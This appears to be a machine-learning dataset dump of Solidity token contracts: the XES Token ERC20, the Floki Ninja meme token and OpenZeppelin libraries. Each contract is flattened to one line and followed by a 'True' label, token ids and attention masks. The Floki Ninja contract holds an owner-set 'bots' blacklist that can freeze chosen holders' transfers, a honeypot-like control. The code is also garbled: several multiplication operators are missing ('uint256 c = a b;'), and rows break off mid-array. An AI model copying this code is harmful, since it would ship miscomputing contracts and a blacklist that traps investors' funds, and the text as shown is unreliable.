---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract XESTOKEN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "XES"; name = "XES Token"; decimals = 6; _totalSupply = 69420000000; balances[0xF608e5bbD332000e044cd7e99be2dE95245500Bc] = _totalSupply; emit Transfer(address(0), 0xF608e5bbD332000e044cd7e99be2dE95245500Bc, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 18820, 18552, 17524, 19204, 1005, 19204, 3206, 1013, 1013, 1013, 1013, 7333, 2000, 1024, 1014, 2595, 2509, 2497, 16703, 2546, 2575, 27531, 2692, 2050, 24096, 2549, 2497, 2581, 2581, 2620, 2278, 2692, 22025, 10322, 10790, 2497, 2629, 3207, 2487, 6305, 21084, 3207, 16068, 2487, 2546, 1013, 1013, 6454, 1024, 1060, 2229, 1013, 1013, 2171, 1024, 1060, 2229, 19204, 1013, 1013, 2561, 4425, 1024, 6353, 20958, 2692, 1013, 1013, 26066, 2015, 1024, 1020, 1013, 1013, 1013, 1013, 5959, 1012, 1013, 1013, 1013, 1013, 1006, 1039, 1007, 2011, 28461, 5658, 2080, 2007, 8945, 19658, 22571, 9541, 24206, 1013, 8945, 2243, 10552, 13866, 2100, 5183, 8740, 2418, 1012, 1996, 10210, 11172, 1012, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 3647, 8785, 2015, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 3647, 6342, 2497, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-02-05 / /* Floki Ninja - $FINJA "The Worlds Bravest Floki Ninja." https://t.me/FlokiNinjaETH / // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FlokiNinja is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; uint256 private _purchaseMarketingFee = 10; uint256 private _purchaseRedistributionFee = 1; uint256 private _sellMarketingFee = 10; uint256 private _sellRedistributionFee = 1; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Floki Ninja"; string private constant _symbol = "FINJA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xD4e52a8682349B8Ba721D85A62D1E8991Af8Af8f); _feeAddrWallet2 = payable(0xD4e52a8682349B8Ba721D85A62D1E8991Af8Af8f); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2e10 10*9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setBuyFees(uint256 redistributionFee, uint256 marketingFee) external onlyOwner { _purchaseMarketingFee = marketingFee; _purchaseRedistributionFee = redistributionFee; } function setSellFees(uint256 redistributionFee, uint256 marketingFee) external onlyOwner { _sellMarketingFee = marketingFee; _sellRedistributionFee = redistributionFee; } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 10**9; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 5709, 1008, 1013, 1013, 1008, 13109, 23212, 14104, 1011, 1002, 10346, 3900, 1000, 1996, 8484, 13980, 2102, 13109, 23212, 14104, 1012, 1000, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 13109, 23212, 11483, 3900, 11031, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 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/** Submitted for verification at Etherscan.io on 2022-01-27 / // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` / library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe 